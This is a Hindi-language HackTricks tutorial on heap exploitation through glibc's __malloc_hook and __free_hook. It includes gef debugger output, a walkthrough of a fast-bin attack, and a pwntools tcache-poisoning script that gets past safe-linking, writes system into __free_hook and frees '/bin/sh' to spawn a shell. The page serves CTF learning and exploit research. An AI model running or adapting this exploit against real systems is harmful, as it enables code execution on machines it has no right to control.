# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} ## **Malloc Hook** जैसा कि आप [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) पर देख सकते हैं, **`__malloc_hook`** एक पॉइंटर है जो **एक फ़ंक्शन के पते की ओर इशारा करता है जिसे `malloc()` के कॉल होने पर बुलाया जाएगा** **libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत**। इसलिए, यदि इस पते को एक **One Gadget** से ओवरराइट किया जाता है और `malloc` को कॉल किया जाता है, तो **One Gadget को बुलाया जाएगा**। `malloc` को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतज़ार करना या **`printf("%10000$c")** को कॉल करना संभव है, जो बहुत सारे बाइट्स आवंटित करता है जिससे `libc` `malloc` को हीप में उन्हें आवंटित करने के लिए कॉल करता है। One Gadget के बारे में अधिक जानकारी के लिए: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] > ध्यान दें कि GLIBC >= 2.34 के लिए हुक **निष्क्रिय** हैं। आधुनिक GLIBC संस्करणों पर उपयोग की जाने वाली अन्य तकनीकें हैं। देखें: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). ## Free Hook इसका दुरुपयोग एक उदाहरण में किया गया था जो एक तेज़ बिन हमले का दुरुपयोग करता है, एक असंरचित बिन हमले के बाद: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} यदि बाइनरी में प्रतीक हैं, तो `__free_hook` का पता लगाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है: ```bash gef➤ p &__free_hook ``` [पोस्ट में](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) आप बिना प्रतीकों के फ्री हुक का पता लगाने के लिए चरण-दर-चरण गाइड पा सकते हैं। संक्षेप में, फ्री फ़ंक्शन में:
gef➤  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- यहाँ ब्रेक करें
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 
पिछले कोड में उल्लिखित ब्रेक में `$eax` में फ्री हुक का पता स्थित होगा। अब एक **फास्ट बिन अटैक** किया जाता है: - सबसे पहले यह पता लगाया जाता है कि **`__free_hook`** स्थान पर **200** आकार के फास्ट **चंक्स** के साथ काम करना संभव है: -
gef➤  p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
- यदि हम इस स्थान पर आकार 0x200 का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित होगा। - इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ दो बार मर्ज की गई फ़ंक्शन को कॉल किया जाता है, इस तरह हम फास्ट बिन में आकार `0xfc*2 = 0x1f8` के एक मुक्त चंक का पॉइंटर प्राप्त करते हैं। - फिर, इस चंक में संपादन फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इंगित किया जा सके। - फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि आकार `0x1f8` का एक और चंक बनाया जा सके जो **`__free_hook`** में एक फास्ट बिन चंक प्राप्त करे जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया जाता है। - और अंत में, एक चंक जिसमें स्ट्रिंग `/bin/sh\x00` है, को डिलीट फ़ंक्शन को कॉल करके मुक्त किया जाता है, जो **`__free_hook`** फ़ंक्शन को ट्रिगर करता है जो `/bin/sh\x00` को पैरामीटर के रूप में सिस्टम की ओर इंगित करता है। --- ## Tcache विषाक्तता & सुरक्षित-लिंकिंग (glibc 2.32 – 2.33) glibc 2.32 ने **सुरक्षित-लिंकिंग** पेश किया - एक अखंडता-चेक जो **tcache** और फास्ट-बिन द्वारा उपयोग किए जाने वाले *एकल*-लिंकित सूचियों की रक्षा करता है। कच्चे फॉरवर्ड पॉइंटर (`fd`) को स्टोर करने के बजाय, ptmalloc अब इसे निम्नलिखित मैक्रो के साथ *गुप्त* रूप से स्टोर करता है: ```c #define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) #define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) ``` शोषण के परिणाम: 1. एक **heap leak** अनिवार्य है - हमलावर को एक मान्य छिपा हुआ पॉइंटर बनाने के लिए `chunk_addr >> 12` का रनटाइम मान जानना चाहिए। 2. केवल *पूर्ण* 8-बाइट पॉइंटर को ही बनाया जा सकता है; एकल-बाइट आंशिक ओवरराइट चेक पास नहीं करेगा। इसलिए, glibc 2.32/2.33 पर `__free_hook` को ओवरराइट करने के लिए एक न्यूनतम tcache-poisoning प्राइमिटिव इस प्रकार दिखता है: ```py from pwn import * libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") p = process("./vuln") # 1. Leak a heap pointer (e.g. via UAF or show-after-free) heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00")) heap_base = heap_leak & ~0xfff fd_key = heap_base >> 12 # value used by PROTECT_PTR log.success(f"heap @ {hex(heap_base)}") # 2. Prepare two same-size chunks and double-free one of them a = malloc(0x48) b = malloc(0x48) free(a) free(b) free(a) # tcache double-free ⇒ poisoning primitive # 3. Forge obfuscated fd that points to __free_hook free_hook = libc.sym['__free_hook'] poison = free_hook ^ fd_key edit(a, p64(poison)) # overwrite fd of tcache entry # 4. Two mallocs: the second one returns a pointer to __free_hook malloc(0x48) # returns chunk a c = malloc(0x48) # returns chunk @ __free_hook edit(c, p64(libc.sym['system'])) # 5. Trigger bin_sh = malloc(0x48) edit(bin_sh, b"/bin/sh\x00") free(bin_sh) ``` उपरोक्त स्निपेट हाल के CTF चुनौतियों से अनुकूलित किया गया था जैसे कि *UIUCTF 2024 – «Rusty Pointers»* और *openECSC 2023 – «Babyheap G»*, जिनमें से दोनों ने `__free_hook` को ओवरराइट करने के लिए Safe-Linking बायपास पर निर्भर किया। --- ## glibc ≥ 2.34 में क्या बदला? **glibc 2.34 (अगस्त 2021)** से शुरू होकर आवंटन हुक `__malloc_hook`, `__realloc_hook`, `__memalign_hook` और `__free_hook` को **सार्वजनिक API से हटा दिया गया है और अब आवंटक द्वारा इनका आह्वान नहीं किया जाता है**। संगतता प्रतीक अभी भी विरासती बाइनरी के लिए निर्यात किए जाते हैं, लेकिन इन्हें ओवरराइट करने से `malloc()` या `free()` के नियंत्रण प्रवाह पर अब कोई प्रभाव नहीं पड़ता। व्यावहारिक प्रभाव: आधुनिक वितरणों (Ubuntu 22.04+, Fedora 35+, Debian 12, आदि) पर, आपको *अन्य* हाईजैक प्राइमिटिव (IO-FILE, `__run_exit_handlers`, vtable spraying, आदि) पर स्विच करना होगा क्योंकि हुक ओवरराइट चुपचाप विफल हो जाएंगे। यदि आपको अभी भी डिबगिंग के लिए पुरानी कार्यप्रणाली की आवश्यकता है, तो glibc `libc_malloc_debug.so` प्रदान करता है जिसे पूर्व-लोड किया जा सकता है ताकि विरासती हुक फिर से सक्षम हो सकें - लेकिन यह पुस्तकालय **उत्पादन के लिए नहीं है और भविष्य के रिलीज़ में गायब हो सकता है**। --- ## संदर्भ - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). - Safe-Linking – 20 साल पुराने malloc() एक्सप्लॉइट प्राइमिटिव को समाप्त करना (चेक प्वाइंट रिसर्च, 2020) - glibc 2.34 रिलीज़ नोट्स – malloc हुक का हटाना {{#include ../../banners/hacktricks-training.md}}